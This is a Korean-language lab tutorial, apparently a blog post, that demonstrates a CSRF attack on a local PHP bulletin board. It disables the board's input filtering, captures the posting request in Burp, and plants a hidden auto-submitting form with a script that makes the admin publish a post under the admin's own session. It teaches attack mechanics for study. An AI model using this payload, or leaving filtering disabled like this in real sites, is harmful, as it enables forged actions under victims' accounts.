CSRF(씨써프)란 ?
사이트 간 요청 위조(또는 크로스 사이트 요청 위조, 영어: Cross-site request forgery, CSRF, XSRF)는
웹사이트 취약점 공격의 하나로, 사용자가 자신의 의지와는 무관하게 공격자가
의도한 행위(수정, 삭제, 등록 등)를 특정 웹사이트에 요청하게 하는 공격을 말한다.
실습> CSRF를 이용한 게시판 글쓰기 1
공격자가 게시글을 올려서 그 안에 공격코드(글을 본 사용자의 권한으로 자동으로 글 등록)를 넣고
관리자가 공격자가 쓴 글을 보는 순간 관리자 자신의 권한으로 게시글을 등록한다.
1. 브라우저 2개 실행
세 세션으로 세션을 다르게해서 브라우저를 실행한다.
첫 번째 브라우저 : 관리자(admin/111111)로 로그인한다.
두 번째 브라우저 : 공격자(blackhat/111111)로 로그인한다.
2. 프록시 설정
Burp 로 프록시를 설정한다.
3. 쿠키값 확인
Burp or EditThisCookie 에서 각 브라우저의 쿠키값을 확인한다.
첫 번째 브라우저(관리자) : 0rheh1nbu9jcgfrpjj02bjh4l4
두 번째 브라우저(공격자) : 3ovodk4h07880b72saa165ru34
[root@www ~]# cat /var/lib/php/session/sess_0rheh1nbu9jcgfrpjj02bjh4l4
userid|s:5:"admin";username|s:9:"관리자";
[root@www ~]# cat /var/lib/php/session/sess_3ovodk4h07880b72saa165ru34
userid|s:8:"blackhat";username|s:9:"블랙햇";
4. read.html에서 코드 수정
필터링을 한 코드를 모두 주석으로 처리하고 필터링을 하지 않은 코드의 주석을 해제한다.
<td colspan=3 height=100 width=400>
<?
// 필터링 하지 않은 코드
echo $row['contents'];
?>
<?
// 필터링을 한 코드
// $contents = str_replace("<script>", "", $row['contents']);
//$contents = str_replace("<", "<", $row['contents']);
//echo $contents;
?>
</td>
5. writeok.html에서 코드 수정
필터링을 한 코드를 모두 주석으로 처리한다.
// 필터링 부분
// $contents = str_replace("<", "<", $contents);
6. 게시판의 글쓰기 분석
게시글을 작성하고 전송한 후 프록시에서 어떤 변수들이 전송되는지 분석한다.
POST /writeok.html HTTP/1.1
Host: 192.168.108.101
Content-Length: 689
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.108.101
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary5A7CxjKLa3AKQW2F
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.108.101/?id=bbs1&m=write
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.9
Cookie: PHPSESSID=3ovodk4h07880b72saa165ru34
Connection: close
------WebKitFormBoundary5A7CxjKLa3AKQW2F
Content-Disposition: form-data; name="id"
bbs1
------WebKitFormBoundary5A7CxjKLa3AKQW2F
Content-Disposition: form-data; name="username"
blackhat
------WebKitFormBoundary5A7CxjKLa3AKQW2F
Content-Disposition: form-data; name="title"
csrf test
------WebKitFormBoundary5A7CxjKLa3AKQW2F
Content-Disposition: form-data; name="passwd"
1234
------WebKitFormBoundary5A7CxjKLa3AKQW2F
Content-Disposition: form-data; name="upfile"; filename=""
Content-Type: application/octet-stream
------WebKitFormBoundary5A7CxjKLa3AKQW2F
Content-Disposition: form-data; name="contents"
csrf test2
------WebKitFormBoundary5A7CxjKLa3AKQW2F--
위에서 POST 방식으로 /writeok.html로 변수와 값이 넘어가는 것을 확인할 수 있다.
POST /writeok.html
id=bbs1
username=blackhat
title=csrf test
passwd=1234
upfile=
filename=
contents=csrf test2
7. 게시글 작성
공격자가 로그인한 두 번째 브라우저에서 아래 악성글을 저장한다.
관리자가 게시글을 확인하는 순가 자신의 권한으로 글이 자동으로 저장된다.
이름 : blackhat
제목 : 관리자님 안녕하세요.
비밀번호 : 1234
내용 :
관리자님 안녕하세요.
<form id=csrftest method=POST action=/writeok.html enctype=multipart/form-data>
<input type=hidden name=id value=bbs1>
<input type=hidden name=username value=admin>
<input type=hidden name=title value="csrf test">
<input type=hidden name=passwd value=1234>
<input type=hidden name=upfile value=>
<input type=hidden name=filename value=>
<input type=hidden name=contents value="csrf test2">
</form>
<script>document.getElementById("csrftest").submit();</script>
단점 : 게시글을 보는 순간 document.getElementById("csrftest").submit();
메소드에 의해서 게시글의 목록으로 가는 것이다.
'Linux > 모의해킹' 카테고리의 다른 글
| CSRF 를 이용한 회원 가입하기 (0) | 2022.01.25 |
|---|---|
| CSRF 를 이용한 관리자 비밀번호 변경하기 (0) | 2022.01.25 |
| str_replace() 함수 사용하기 (0) | 2022.01.25 |
| XSS 를 이용한 Victim 장악하기 (0) | 2022.01.25 |
| Adobe Acrobat Reader(pdf) 취약점을 이용한 침투 (0) | 2022.01.25 |